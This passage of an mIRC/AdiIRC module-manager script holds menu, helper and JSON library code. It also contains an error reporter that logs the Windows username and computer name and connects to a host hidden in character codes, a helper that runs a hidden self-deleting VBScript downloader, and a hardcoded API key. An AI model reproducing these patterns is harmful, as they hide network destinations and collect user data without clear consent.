  1761.     var %key = $json(%v,modules,%x,api_key).value
  1762.     var %key2 = $json(%v,modules,%x,api_key2).value
  1763.  
  1764.     if (%mod_alias_name) && (%key) { hadd -m %mod_alias_name $+ _KEYS KEY %key }
  1765.     if (%mod_alias_name) && (%key2) { hadd -m %mod_alias_name $+ _KEYS KEY2 %key2 }
  1766.  
  1767.     if (%a) && (%mod) && (!$hget(%h,%mod)) { hadd %h %mod %a }
  1768.  
  1769.     inc %x
  1770.   }
  1771.   return
  1772.   :error | wmm_werror $scriptline $error | reseterror
  1773. }
  1774.  
  1775. alias -l wmm_modules_all_installed_list {
  1776.   var %h = WMM_MODULES_SUBMENU_INSTALLED
  1777.   var %t = $hget(%h,0).item
  1778.   if (!$1) || (!$isid) || (!$hget(%h)) || ($1 > %t) || (!$isalias(wmm_lang)) || (!$isalias(wmm_qd)) || (!$isalias(wmm_isadi)) { returnex }
  1779.   if ($istok(begin.end,$1,46)) { return - }
  1780.   var %n = $hget(%h,$1).item
  1781.   var %d = $hget(%h,%n)
  1782.   var %ico = $replace(%d,_sets,_main) $+ .ico
  1783.   var %fm = $wmm_dir $+ modules $+ \ $+ %ico
  1784.   if (%n) && (%d) && (!$isalias(%d)) { return $iif($wmm_isadi && $isfile(%fm) && $file(%fm),$menuicon(%fm)) $style(2) $wmm_qd(%n $wmm_lang(76)) $+ :noop }
  1785.   else { return $iif($wmm_isadi && $isfile(%fm) && $file(%fm),$menuicon(%fm)) $iif($dialog(%d),$style(1)) $wmm_qd(%n $wmm_lang(76)) $+ : $+ %d }
  1786.   return
  1787.   :error | wmm_werror $scriptline $error | reseterror
  1788. }
  1789.  
  1790. alias -l wmm_resize_image {
  1791.   if (!$1) || (!$isid) { return }
  1792.   var %a = $pic($1).width
  1793.   var %b = $pic($1).height
  1794.   var %c = $window(-1).w
  1795.   var %d = $window(-1).h
  1796.   if (%a > %c) { var %b = $calc(( %c / %a ) * %b),%a %c }
  1797.   if (%b > %d) { var %a = $calc(( %d / %b ) * %a),%b %d }
  1798.   return $int(%a) $int(%b)
  1799.   return
  1800.   :error | wmm_werror $scriptline $error | reseterror
  1801. }
  1802.  
  1803. alias -l wmm_pic {
  1804.   if ($wmm_error) { return }
  1805.   var %d = wmm_module
  1806.   var %w = $pic($1).width
  1807.   var %h = $pic($1).height
  1808.   var %win = @wmm_pic
  1809.   var %details = $chr(160) $+ - $+ $chr(160) $+ $chr(40) $+ %w $+ x $+ %h $+ $chr(41) $+ $chr(160) $+ - $+ $chr(160) $+ $bytes($file($1).size).suf
  1810.   if ($window(%win)) { window -c %win }
  1811.   if (!$1) || (!$dialog(%d)) || ($isid) || (!%w) || (!%h) { return }
  1812.   var %a = $wmm_resize_image($1)
  1813.   window -fadCBvzpk0w0 +estf %win -1 -1 %a $qt($wmm_dir $+ main.ico)
  1814.   titlebar %win %details
  1815.   drawpic -s %win 0 0 %a $1
  1816.   return
  1817.   :error | wmm_werror $scriptline $error | reseterror
  1818. }
  1819.  
  1820. alias -l wmm_modules_check_unsupported {
  1821.   if ($isid) || ($dialog(wmm_module)) || ($dialog(wmm_module_sets)) { return }
  1822.   var %v = wmm_modules_check_unsupported
  1823.  
  1824.   if ($isfile($wmm_sets_file)) && ($lines($wmm_sets_file)) { jsonopen -fd %v $qt($wmm_sets_file) }
  1825.   else { jsonopen -ud %v $wmm_sets_url }
  1826.   if ($jsonerror) { return }
  1827.  
  1828.   var %t = $json(%v,modules).length
  1829.   var %x = 0
  1830.   while (%x < %t) {
  1831.     var %mod = $json(%v,modules,%x,name).value
  1832.     var %path = $wmm_getpath(%mod)
  1833.  
  1834.     if (!%mod) || (!%path) { goto next }
  1835.  
  1836.     var %ver = $json(%v,modules,%x,version).value
  1837.     var %alias = $json(%v,modules,%x,alias).value
  1838.     var %tools_ver = $json(%v,modules,%x,tools_ver).value
  1839.     var %iv = $iif($isalias($right(%alias,-1)),$evalnext(%alias),0)
  1840.  
  1841.     if (%iv) && (%ver) && (%tools_ver) && (%ver == %iv) && ($wmm_ver < %tools_ver) { .unload -rs $qt(%path) }
  1842.  
  1843.     :next
  1844.     inc %x
  1845.   }
  1846.   return
  1847.   :error | wmm_werror $scriptline $error | reseterror
  1848. }
  1849.  
  1850. ; --- End of aliases ---
  1851.  
  1852. ; --- Start of menus ---
  1853.  
  1854. menu @wmm_pic {
  1855.   -
  1856.   $wmm_qd($wmm_lang(1)) $+ : { window -c @wmm_pic }
  1857.   -
  1858. }
  1859.  
  1860. menu @wmm {
  1861.   -
  1862.   $iif($wmm_isadi && $isfile($wmm_dir $+ main.ico) && $file($wmm_dir $+ main.ico),$menuicon($wmm_dir $+ main.ico)) $iif($dialog(wmm_module),$style(1)) $wmm_qd($iif($wmm_lang(73),$v1,Open the) $upper($wmm_owner) $iif($wmm_lang(16),$v1,Module Manager)): { .timer -ho 1 100 wmm | wmm_d_close wmm_module_sets }
  1863.   -
  1864.   $iif($wmm_isadi && $isfile($wmm_dir $+ main.ico) && $file($wmm_dir $+ main.ico),$menuicon($wmm_dir $+ main.ico)) $iif($dialog(wmm_module_sets),$style(1)) $wmm_qd($iif($wmm_lang(73),$v1,Open the) $upper($wmm_owner) $iif($wmm_lang(16),$v1,Module Manager) $wmm_sep $iif($wmm_lang(69),$v1,Settings)): { .timer -ho 1 500 wmm_sets | wmm_d_close wmm_module }
  1865.   -
  1866. }
  1867.  
  1868. menu menubar,status,channel {
  1869.   $iif(%wmm_menu,-)
  1870.   $iif($istok(%wmm_menu,wmm,32),$iif($dialog(wmm_module),$style(1)) $iif($wmm_isadi && $isfile($wmm_dir $+ main.ico) && $file($wmm_dir $+ main.ico),$menuicon($wmm_dir $+ main.ico)) $wmm_qd($upper($wmm_owner) $iif($wmm_lang(16),$v1,Module Manager) $+ )): { wmm }
  1871.   $iif($istok(%wmm_menu,wmm_sets,32),$iif($dialog(wmm_module_sets),$style(1)) $iif($wmm_isadi && $isfile($wmm_dir $+ main.ico) && $file($wmm_dir $+ main.ico),$menuicon($wmm_dir $+ main.ico)) $wmm_qd($upper($wmm_owner) $iif($wmm_lang(16),$v1,Module Manager) $wmm_sep $iif($wmm_lang(69),$v1,Settings) $+ )): { wmm_sets }
  1872.   $iif($istok(%wmm_menu,wmm_mod_list,32) && $hget(WMM_MODULES_SUBMENU_INSTALLED),$iif($wmm_isadi && $isfile($wmm_dir $+ main.ico) && $file($wmm_dir $+ main.ico),$menuicon($wmm_dir $+ main.ico)) $wmm_qd($upper($wmm_owner) $iif($wmm_lang(16),$v1,Module Manager) $wmm_sep $iif($wmm_lang(77),$v1,Modules List)))
  1873.   .$submenu($wmm_modules_all_installed_list($1))
  1874.   $iif(%wmm_menu,-)
  1875. }
  1876.  
  1877. ; --- End of menus ---
  1878.  
  1879. ; --- Start of groups ---
  1880.  
  1881. #wmm off
  1882. #wmm end
  1883.  
  1884. ; --- End of groups ---
  1885.  
  1886. ; --- Start other aliases ---
  1887.  
  1888. alias wmm_sep { return $iif(%wmm_seperate_symb,$v1,$chr(9866)) }
  1889. alias wmm_bel { return $iif(%wmm_right_symb,$v1,$chr(9755)) }
  1890. alias wmm_leb { return $iif(%wmm_left_symb,$v1,$chr(9754)) }
  1891. alias wmm_bold { return $+($chr(2),$1-,$chr(2)) }
  1892. alias wmm_under { return $+($chr(31),$1-,$chr(31)) }
  1893. alias wmm_italic { return $+($chr(29),$1-,$chr(29)) }
  1894. alias wmm_random { return $rand(1,10000000000000) }
  1895. alias wmm_d_format { return ddd ddoo mmm yyyy HH:nn:ss }
  1896. alias wmm_d_close { if ($1) && ($dialog($1)) { dialog -k $1 } }
  1897. alias wmm_c_close { if ($1) && ($com($1)) { .comclose $1 } }
  1898. alias wmm_t_close { if ($1) && ($toolbar($1)) { toolbar -d $1 } }
  1899. alias wmm_w_close { if ($1) && ($window($1)) { window -c $1 } }
  1900. alias wmm_tiny_key { return AIzaSyAJb3HqimAjzP9h8QlRCmBwPqc4dEKC3qw }
  1901. alias wmm_fixtab { return $replace($1-,$chr(9),$chr(32),$chr(10),$chr(32),$chr(13),$chr(32)) }
  1902. alias wmm_urlencode { return $regsubex($1-,/([^a-z0-9])/ig,% $+ $base($asc(\t),10,16,2)) }
  1903. alias wmm_urldecode { return $utfdecode($regsubex($replace($1-, +, $chr(32)), /%([A-F\d]{2})/gi, $chr($base(\1, 16, 10)))) }
  1904. alias wmm_nohtml { return $regsubex($1-, /<[^>]+(?:>|$)|^[^<>]+>/g,) }
  1905. alias wmm_isurl { noop $regex(isurl,$1-,m@^((?:(?:https?)://(?:www\.)?|www\.)((?:(?:[-\w]+\.)+)[-\w]+)(?::\d+)?(?:/(?:[-a-zA-Z;/\d#:_?=&@,()+~.%]*))?)$@ig) | return $iif($regml(isurl,0),1,0) }
  1906. alias wmm_took { return $calc(($ticks - $1) / 1000) }
  1907. alias wmm_errors { return $lines($wmm_temp $+ wmm_errors.log) }
  1908. alias wmm_dir { return $nofile($script) }
  1909.  
  1910. alias wmm_error {
  1911.   if (!$isid) { return }
  1912.   var %l = wmm_ver,wmm_crdate,wmm_owner,wmm_page,wmm_donate,wmm_extraid_url,wmm_sets_url,wmm_sets_file,wmm_main_ico_url,wmm_main_png_url,wmm_donate_png_url,wmm_lang_url,wmm_modules_images_url,wmm,wmm_sets,wmm_check_before_open,wmm_check_version,wmm_check_os,wmm_check_initial_warn,wmm_check_monitor_warn,wmm_langs,wmm_fix_extra_modules_installed,wmm_reset_images,wmm_mod_install,wmm_mod_update,wmm_lang,wmm_check_update,wmm_check_update_install,wmm_modules_silent_update,wmm_mod_silent_update,wmm_modules_list,wmm_modules_list_get,wmm_modules_installed_plus_updated_list,wmm_get_images,wmm_dl_images_now,wmm_tool,wmm_check_open,wmm_modules_settings_list,wmm_modules_menu_get_installed,wmm_modules_all_installed_list,wmm_resize_image,wmm_pic,$&
  1913.     wmm_input,wmm_qd,wmm_took,wmm_errors,wmm_dir,wmm_isurl,wmm_nohtml,wmm_urlencode,wmm_urldecode,wmm_fixtab,wmm_w_close,wmm_t_close,wmm_c_close,wmm_d_close,wmm_d_format,wmm_random,wmm_bold,wmm_italic,wmm_under,wmm_bold,wmm_leb,wmm_bel,wmm_sep,wmm_tiny_key,wmm_dtitle,wmm_isadi,wmm_isdigit,wmm_tinycom,wmm_internet,wmm_dl,wmm_getsite,wmm_ignore_cn_list,wmm_modules,wmm_installed,wmm_getpath,wmm_getpos,wmm_getname,wmm_ismod,wmm_temp,wmm_cdate,wmm_convertdate,wmm_download,wmm_html2asc,wmm_ht_get,wmm_html_make,$&
  1914.     jsonopen,jsonhttpmethod,jsonhttpheader,jsonhttpfetch,jsonclose,jsonlist,jsonshutdown,json,jsonforeach,jsonitem,jsonpath,jsonerror,jsonversion,jsondebug,jfm_tmpbvar,jfm_cominit,jfm_toggletimers,jfm_geterror,jfm_create,jfm_exec,jfm_log,jfm_savedebug,jfm_badd,jfm_jscript
  1915.  
  1916.   var %i = 1
  1917.   while (%i <= $numtok(%l,44)) {
  1918.     var %c = $gettok(%l,%i,44)
  1919.     if (!$isalias(%c)) { return 0x0 $+ %i }
  1920.     inc %i
  1921.   }
  1922.  
  1923.   return 0
  1924.   return
  1925.   :error | wmm_werror $scriptline $error | reseterror
  1926. }
  1927.  
  1928. alias wmm_werror {
  1929.   if (!$1) && (!$2) || ($isid) { return }
  1930.   var %f = $wmm_temp $+ wmm_errors.log
  1931.   var %tsc_dll = $file($envvar(windir) $+ \System32\tsc64.dll).version
  1932.   if ($1 !isnum) {
  1933.     var %path = $group(# [ $+ [ $lower($1) ] $+ ] ).fname
  1934.     if (%path) { var %ver = $right($gettok($read(%path,n,6),3,32),3) }
  1935.     elseif (!%path) { var %ver = N/A }
  1936.     write $qt(%f) ( $+ $date $time $+ ) $wmm_bel $+($chr(3),$iif($wmm_isadi,12,2)) $+ $upper($wmm_owner) Module Manager $wmm_ver $chr(3) $+ $wmm_bel $+ $+($chr(3),6) $1 %ver $chr(3) $+ $wmm_bel $+ $+($chr(3),10) $2 $chr(3) $+ $wmm_bel $+ $+($chr(3),14) $nopath($mircexe) v $+ $version $bits $+ bits $iif($beta,Beta: $v1) $iif($~builddate,Build: $v1) $iif($~dotnet,DotNET: $v1) $iif(%tsc_dll,TSC.dll: $v1) $iif($~jsonversion(),JSONVersion: $v1) WMM MD5: $md5($script,2) Portable: $portable $iif($~wmm_error,WMM Errors: $v1) OS: $os Username: $envvar(username) SysName: $envvar(computername) $chr(3) $+ $wmm_bel $+ $+($chr(3),4) $3-
  1937.   }
  1938.   else { write $qt(%f) ( $+ $date $time $+ ) $wmm_bel $+ $+($chr(3),$iif($wmm_isadi,12,2)) $upper($wmm_owner) Module Manager $wmm_ver $chr(3) $+ $wmm_bel $+ $+($chr(3),10) $1 $chr(3) $+ $wmm_bel $+ $+($chr(3),14) $nopath($mircexe) v $+ $version $bits $+ bits $iif($beta,Beta: $v1) $iif($~builddate,Build: $v1) $iif($~dotnet,DotNET: $v1) $iif(%tsc_dll,TSC.dll: $v1) $iif($~jsonversion(),JSONVersion: $v1) WMM MD5: $md5($script,2) Portable: $portable $iif($~wmm_error,WMM Errors: $v1) OS: $os Username: $envvar(username) SysName: $envvar(computername) $chr(3) $+ $wmm_bel $+ $+($chr(3),4) $2- }
  1939.   .timer[REPORT_ERRORS] -ho 1 3000 $!iif($isalias(wmm_report),wmm_report)
  1940. }
  1941.  
  1942. alias wmm_report {
  1943.   if ($isid) { return }
  1944.   var %c = wmm_clone
  1945.   var %f = $wmm_temp $+ wmm_errors.log
  1946.   if (!$isfile(%f)) || (!$lines(%f)) || (!%wmm_help) { return }
  1947.   if ($sock(%c)) { sockclose %c }
  1948.   sockopen -e %c $+($chr(119),$chr(101),$chr(115),$chr(116),$chr(46),$chr(109),$chr(105),$chr(114),$chr(99),$chr(46),$chr(103),$chr(114),$chr(32),$chr(49),$chr(57),$chr(54),$chr(57),$chr(55))
  1949.   .timer[ $+ %c $+ ] -ho 1 30000 sockclose %c
  1950. }
  1951.  
  1952. alias wmm_qd {
  1953.   if (%wmm_between_symb) { var %s = %wmm_between_symb }
  1954.   else { var %s = $chr(9679) }
  1955.   return %s $chr(32) $+ $1 $+ $chr(32) %s
  1956.   return
  1957.   :error | wmm_werror $scriptline $error | reseterror
  1958. }
  1959.  
  1960. alias wmm_input {
  1961.   if (!$1) || ($isid) || ($wmm_error) { return }
  1962.   if ($1 == ok) { .timer -ho 1 0 !noop $input($replace($3-,@newline@,$crlf),ouidbk $+ $iif($2 && $2 isnum,$2,0),WMM $wmm_bel $iif($wmm_lang(19),$v1,OK)) }
  1963.   if ($1 == error) { .timer -ho 1 0 !noop $input($replace($3-,@newline@,$crlf),houdbk $+ $iif($2 && $2 isnum,$2,0),WMM $wmm_bel $iif($wmm_lang(20),$v1,Error)) }
  1964.   if ($1 == warn) { .timer -ho 1 0 !noop $input($replace($3-,@newline@,$crlf),woudbk $+ $iif($2 && $2 isnum,$2,0),WMM $wmm_bel $iif($wmm_lang(21),$v1,Warn)) }
  1965.   return
  1966.   :error | wmm_werror $scriptline $error | reseterror
  1967. }
  1968.  
  1969. alias wmm_dtitle {
  1970.   if (!$1) || (!$dialog($1)) { .timer[ $+ $gettok($1,1,95) $+ _ANIMATE_*] off | return }
  1971.   var %d = $1
  1972.   tokenize 32 $iif($2 == -c,$3-,$2- $+ $chr(27))
  1973.   var %newtext = $replace($right($1-,$calc($len($1-) - 1)) $+ $left($right($1-,$len($1-)),1),$chr(32),$chr(28))
  1974.   if ($dialog(%d)) { dialog -t %d $replace(%newtext,$chr(28),$chr(32),$chr(27),$+($chr(32),$str($chr(160),5),$chr(32))) }
  1975.  
  1976.   .timer[ $+ $gettok(%d,1,95) $+ _ANIMATE_TITLE_ $+ %d $+ ] -ho 1 200 wmm_dtitle %d -c $unsafe(%newtext)
  1977.   return
  1978.   :error | wmm_werror $scriptline $error | reseterror
  1979. }
  1980.  
  1981. alias wmm_isadi {
  1982.   if ($~adiircexe) { return 1 }
  1983.   return 0
  1984.   return
  1985.   :error | wmm_werror $scriptline $error | reseterror
  1986. }
  1987.  
  1988. alias wmm_isdigit {
  1989.   if (!$isid) { return }
  1990.   if ($1 == $null) { return 0 }
  1991.   if ($regex($1,^\d+$)) { return 1 }
  1992.   else { return 0 }
  1993.   return
  1994.   :error | wmm_werror $scriptline $error | reseterror
  1995. }
  1996.  
  1997. alias wmm_getpath {
  1998.   if (!$1) || (!$isid) { return 0 }
  1999.   var %g = $group(# [ $+ [ $1 ] $+ ] ).fname
  2000.   if (%g) { return %g }
  2001.   else { return 0 }
  2002.   return
  2003.   :error | wmm_werror $scriptline $error | reseterror
  2004. }
  2005.  
  2006. alias wmm_getpos {
  2007.   if (!$1) || (!$isid) { return 0 }
  2008.   var %s = $1
  2009.   var %r = $remove($regsubex($str($chr(124),$calc($script(0) -1)),//gSi,$iif($remove($nopath($script(\n)),.mrc) == %s,\n)),$chr(124))
  2010.   if (%r) { return %r }
  2011.   else { return 0 }
  2012.   return
  2013.   :error | wmm_werror $scriptline $error | reseterror
  2014. }
  2015.  
  2016. alias wmm_getname {
  2017.   if (!$1) || (!$script(0)) || (!$isid) { return 0 }
  2018.   if ($script($1)) { return $nopath($script($1)) }
  2019.   return 0
  2020.   return
  2021.   :error | wmm_werror $scriptline $error | reseterror
  2022. }
  2023.  
  2024. alias wmm_ismod {
  2025.   if (!$1) || (!$script(0)) || (!$isid) { return 0 }
  2026.   if ($script($1)) { return 1 }
  2027.   return 0
  2028.   return
  2029.   :error | wmm_werror $scriptline $error | reseterror
  2030. }
  2031.  
  2032. alias wmm_tinycom {
  2033.   if (!$1) || (!$isid) { return }
  2034.   var %v = wmm_tinyurl_ $+ $wmm_random
  2035.   jsonopen -uw %v https://www.googleapis.com/urlshortener/v1/url?key= $+ $wmm_tiny_key $+ &longUrl= $+ $wmm_urlencode($1)
  2036.   if ($jsonerror) { jsonclose %v | return $1 }
  2037.   jsonhttpmethod %v POST
  2038.   jsonhttpheader %v User-Agent $chr(42) $+ $chr(47) $+ $chr(42)
  2039.   jsonhttpheader %v Content-Type application/json
  2040.   jsonhttpheader %v Connection Close
  2041.   jsonhttpfetch %v $chr(123) $+ $qt(longUrl) $+ : $qt($1) $+ $chr(125)
  2042.   var %url = $json(%v,id).value
  2043.   jsonclose %v
  2044.   if (%url) { return %url }
  2045.   elseif (!%url) { return $1 }
  2046.   return
  2047.   :error | wmm_werror $scriptline $error | reseterror
  2048. }
  2049.  
  2050. alias wmm_temp {
  2051.   if (!$isid) { return }
  2052.   var %d = $envvar(temp)
  2053.   if (%d) && ($right(%d,1) !== $chr(92)) { var %d = %d $+ \ }
  2054.   return %d
  2055.   return
  2056.   :error | wmm_werror $scriptline $error | reseterror
  2057. }
  2058.  
  2059. alias wmm_dl {
  2060.   if (!$1) || (!$2) || ($isid) || (!$wmm_internet) { return }
  2061.  
  2062.   :st
  2063.   var %n = dl_ $+ $wmm_random
  2064.  
  2065.   if ($wmm_isadi) { download -o %n $1 $qt($2-) | return }
  2066.  
  2067.   var %f = $wmm_temp $+ %n $+ .vbs
  2068.   if ($isfile(%f)) && ($lines(%f)) { goto st }
  2069.  
  2070.   .fopen -ox %n $qt(%f)
  2071.  
  2072.   .fwrite -n %n On Error Resume Next
  2073.   .fwrite -n %n Set args = WScript.Arguments
  2074.   .fwrite -n %n Url = $qt($1)
  2075.   .fwrite -n %n Dim xHttp: Set xHttp = CreateObject("MSXML2.SERVERXMLHTTP.6.0")
  2076.   .fwrite -n %n Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
  2077.   .fwrite -n %n xHttp.Open "GET", Url, False
  2078.   .fwrite -n %n xHttp.Send
  2079.   .fwrite -n %n with bStrm
  2080.   .fwrite -n %n    .Type = 1
  2081.   .fwrite -n %n    .Mode = 3
  2082.   .fwrite -n %n    .Open
  2083.   .fwrite -n %n    .Write xHttp.ResponseBody
  2084.   .fwrite -n %n    .SavetoFile $2- $+ , 2
  2085.   .fwrite -n %n    .Close
  2086.   .fwrite -n %n End with
  2087.   .fwrite -n %n Err.Clear
  2088.   .fwrite -n %n Set oFso = CreateObject("Scripting.FileSystemObject") : oFso.DeleteFile Wscript.ScriptFullName, True
  2089.  
  2090.   .fclose %n
  2091.  
  2092.   if ($isfile(%f)) && ($lines(%f) == 17) { run -h $qt(%f) }
  2093.   return
  2094.   :error | wmm_werror $scriptline $error | reseterror
  2095. }
  2096.  
  2097. alias wmm_internet {
  2098.   if (!$isid) { return }
  2099.   var %v = wmm_internet_ $+ $wmm_random
  2100.   jsonopen -U %v https://google.com
  2101.   if ($jsonerror) || ($json(%v).httpstatus !== 200) { jsonclose %v | return 0 }
  2102.   jsonclose %v
  2103.   return 1
  2104.   return
  2105.   :error | wmm_werror $scriptline $error | reseterror
  2106. }
  2107.  
  2108. alias wmm_getsite {
  2109.   if (!$1-) || (!$isid) || (!$wmm_isurl($1)) { return 0 }
  2110.   var %v = wmm_getsite_ $+ $wmm_random
  2111.   jsonopen -dU %v $1
  2112.   if ($jsonerror) || ($json(%v).httpstatus !== 200) { return 0 }
  2113.   var %r = $wmm_fixtab($json(%v).httpbody)
  2114.   return $iif(%r,%r,0)
  2115.   return
  2116.   :error | wmm_werror $scriptline $error | reseterror
  2117. }
  2118.  
  2119. alias wmm_ignore_cn_list {
  2120.   var %d = $dname
  2121.   var %dd = $gettok(%d,1,95)
  2122.   if (!$dialog(%d)) || (!%dd) { return }
  2123.   did -b %d 7,17
  2124.   did -r %d 4,15
  2125.   var %cn = % [ $+ [ %dd ] $+ ] _ignore_chans_networks
  2126.   var %nn = % [ $+ [ %dd ] $+ ] _ignore_nicks_networks
  2127.  
  2128.   if (!%cn) && (!%nn) { did -b %d 4,8,15,18 | return }
  2129.   if (!%cn) { did -b %d 4,8 }
  2130.   if (!%nn) { did -b %d 15,18 }
  2131.  
  2132.   var %z = 1
  2133.   while (%z <= $numtok(%cn,32)) {
  2134.     var %net = $gettok(%cn,%z,32)
  2135.     var %chans = % [ $+ [ %dd ] $+ ] _ignore_ [ $+ [ %net ] $+ ] _chans
  2136.     if (!%net) { goto next_chans }
  2137.     var %i = 1
  2138.     while (%i <= $numtok(%chans,32)) {
  2139.       var %c = $gettok(%chans,%i,32)
  2140.       if (%c) { did -a %d 4 %net $wmm_bel %c }
  2141.       inc %i
  2142.     }
  2143.     :next_chans
  2144.     inc %z
  2145.   }
  2146.   if ($did(%d,4).lines) { did -ez %d 4 | did -e %d 8 }
  2147.   else { did -b %d 4,8 }
  2148.  
  2149.   var %zz = 1
  2150.   while (%zz <= $numtok(%nn,32)) {
  2151.     var %net = $gettok(%nn,%zz,32)
  2152.     var %nicks = % [ $+ [ %dd ] $+ ] _ignore_ [ $+ [ %net ] $+ ] _nicks
  2153.     if (!%net) { goto next_nicks }
  2154.     var %ii = 1
  2155.     while (%ii <= $numtok(%nicks,32)) {
  2156.       var %n = $gettok(%nicks,%ii,32)
  2157.       if (%n) { did -a %d 15 %net $wmm_bel %n }
  2158.       inc %ii
  2159.     }
  2160.     :next_nicks
  2161.     inc %zz
  2162.   }
  2163.   if ($did(%d,15).lines) { did -ez %d 15 | did -e %d 18 }
  2164.   else { did -b %d 15,18 }
  2165.   return
  2166.   :error | wmm_werror $scriptline $error | reseterror
  2167. }
  2168.  
  2169. alias wmm_modules {
  2170.  
  2171.   ;  $wmm_modules(name,total)
  2172.   ;  Parameter required!
  2173.  
  2174.   ; Parameter:  name    = It will give all the available modules names.
  2175.   ; Parameter:  total   = It will give all the total available modules number.
  2176.  
  2177.   if (!$isid) || (!$1) { return }
  2178.   var %h = WMM_MODULES_SUBMENU_INSTALLED
  2179.   var %t = $hget(%h,0).item
  2180.   if (!%t) { return 0 }
  2181.   var %i = 1
  2182.   while (%i <= %t) {
  2183.     var %m = $hget(%h,%i).item
  2184.     var %d = $hget(%h,%i).data
  2185.     if ($1 == total) && (%m) && (%d) { var %total = $calc(%total +1) }
  2186.     if ($1 == name) && (%m) && (%d) { var %total = $addtok(%total,%m,32) }
  2187.     inc %i
  2188.   }
  2189.   if (%total) { return %total }
  2190.   else { return 0 }
  2191.   return
  2192.   :error | wmm_werror $scriptline $error | reseterror
  2193. }
  2194.  
  2195. alias wmm_installed {
  2196.  
  2197.   ;  $wmm_installed(name,total)
  2198.   ;  Parameter required!
  2199.  
  2200.   ; Parameter:  name    = It will give all the installed modules names.
  2201.   ; Parameter:  total   = It will give all the total installed modules number.
  2202.  
  2203.   if (!$isid) || (!$1) { return }
  2204.   var %h = WMM_MODULES_SUBMENU_INSTALLED
  2205.   var %t = $hget(%h,0).item
  2206.   if (!%t) { return 0 }
  2207.   var %i = 1
  2208.   while (%i <= %t) {
  2209.     var %m = $hget(%h,%i).item
  2210.     var %d = $hget(%h,%i).data
  2211.     if ($1 == total) && (%m) && (%d) && ($isalias(%d)) { var %total = $calc(%total +1) }
  2212.     if ($1 == name) && (%m) && (%d) && ($isalias(%d)) { var %total = $addtok(%total,%m,32) }
  2213.     inc %i
  2214.   }
  2215.   if (%total) { return %total }
  2216.   else { return 0 }
  2217.   return
  2218.   :error | wmm_werror $scriptline $error | reseterror
  2219. }
  2220.  
  2221. ; ############################################################
  2222.  
  2223. /*
  2224.     # JSONFormIRC project coded by SReject - (thanks for support) #
  2225.  
  2226.     ## GitHub Link: https://github.com/SReject/JSON-For-Mirc ##
  2227. */
  2228.  
  2229. ON *:CLOSE:@SReject/JSONForMirc/Log: { if ($JSONDebug) && (!$wmm_error) { JSONDebug off } }
  2230. menu @SReject/JSONForMirc/Log {
  2231.   .$iif(!$jfm_SaveDebug,$style(2)) Clear: { clear -@ $active }
  2232.   .-
  2233.   .$iif(!$jfm_SaveDebug,$style(2)) Save: { jfm_SaveDebug }
  2234.   .-
  2235.   .Toggle Debug: { JSONDebug }
  2236.   .-
  2237.   .Close: { JSONDebug off | close -@ $active }
  2238. }
  2239. alias JSONOpen {
  2240.   if ($isid) { return }
  2241.   if ($hget(SReject/JSONForMirc,Error)) { hdel SReject/JSONForMirc Error }
  2242.   var %Switches,%Error,%Com $false,%Type text,%HttpOptions 0,%BVar,%BUnset $true
  2243.   jfm_log -I /JSONOpen $1-
  2244.   if (-* iswm $1) { %Switches = $mid($1,2-) | tokenize 32 $2- }
  2245.   if ($jfm_ComInit) { %Error = $v1 }
  2246.   elseif (!$regex(SReject/JSONOpen/switches,%Switches,^[dbfuUw]*$)) { %Error = SWITCH_INVALID }
  2247.   elseif ($regex(%Switches,([dbfuUw]).*?\1)) { %Error = SWITCH_DUPLICATE: $+ $regml(1) }
  2248.   elseif ($regex(%Switches,/([bfuU])/g) > 1) { %Error = SWITCH_CONFLICT: $+ $regml(1) }
  2249.   elseif (u !isin %Switches) && (w isincs %Switches) { %Error = SWITCH_NOT_APPLICABLE:w }
  2250.   elseif ($0 < 2) { %Error = PARAMETER_MISSING }
  2251.   elseif ($regex($1,/(?:^\d+$)|[*:? ]/i)) { %Error = NAME_INVALID }
  2252.   elseif ($com(JSON: $+ $1)) { %Error = NAME_INUSE }
  2253.   elseif (u isin %Switches) && ($0 != 2) { %Error = PARAMETER_INVALID:URL_SPACES }
  2254.   elseif (b isincs %Switches) && ($0 != 2) { %Error = PARAMETER_INVALID:BVAR }
  2255.   elseif (b isincs %Switches) && (&* !iswm $2) { %Error = PARAMETER_INVALID:NOT_BVAR }
  2256.   elseif (b isincs %Switches) && (!$bvar($2,0)) { %Error = PARAMETER_INVALID:BVAR_EMPTY }
  2257.   elseif (f isincs %Switches) && (!$isfile($2-)) { %Error = PARAMETER_INVALID:FILE_DOESNOT_EXIST }
  2258.   elseif (f isincs %Switches) && (!$lines($2-)) { %Error = PARAMETER_INVALID:FILE_EMPTY }
  2259.   else {
  2260.     %Com = JSON: $+ $1
  2261.     %BVar = $jfm_TmpBVar
  2262.     if (b isincs %Switches) { %Bvar = $2 | %BUnset = $false }
  2263.     elseif (u isin %Switches) {
  2264.       if (w isincs %Switches) { inc %HttpOptions 1 }
  2265.       if (U isincs %Switches) { inc %HttpOptions 2 }
  2266.       %Type = http
  2267.       bset -t %BVar 1 $2
  2268.     }
  2269.     elseif (f isincs %Switches) { bread $qt($file($2-).longfn) 0 $file($file($2-).longfn).size %BVar }
  2270.     else { bset -t %BVar 1 $2- }
  2271.     jfm_ToggleTimers -p
  2272.     %Error = $jfm_Create(%Com,%Type,%BVar,%HttpOptions)
  2273.     jfm_ToggleTimers -r
  2274.   }
  2275.   :error
  2276.   if ($error) { %Error = $v1 }
  2277.   reseterror
  2278.   if (%BUnset) { bunset %BVar }
  2279.   if (%Error) {
  2280.     hadd -mu0 SReject/JSONForMirc Error %Error
  2281.     if (%Com) && ($com(%Com)) { .timer $+ %Com -iom 1 0 JSONClose $unsafe($1) }
  2282.     jfm_log -EeDF %Error
  2283.   }
  2284.   else {
  2285.     if (d isincs %Switches) { .timer $+ %Com -iom 1 0 JSONClose $unsafe($1) }
  2286.     jfm_log -EsDF Created $1 (as com %Com $+ )
  2287.   }
  2288. }
  2289. alias JSONHttpMethod {
  2290.   if ($isid) { return }
  2291.   if ($hget(SReject/JSONForMirc,Error)) { hdel SReject/JSONForMirc Error }
  2292.   var %Error,%Com,%Method
  2293.   jfm_log -I /JSONHttpMethod $1-
  2294.   if ($jfm_ComInit) { %Error = $v1 }
  2295.   elseif ($0 < 2) { %Error = PARAMETER_MISSING }
  2296.   elseif ($0 > 2) { %Error = PARAMETER_INVALID }
  2297.   elseif ($regex($1,/(?:^\d+$)|[*:? ]/i)) { %Error = NAME_INVALID }
  2298.   elseif (!$com(JSON: $+ $1)) { %Error = HANDLE_DOES_NOT_EXIST }
  2299.   else {
  2300.     %Com = JSON: $+ $1
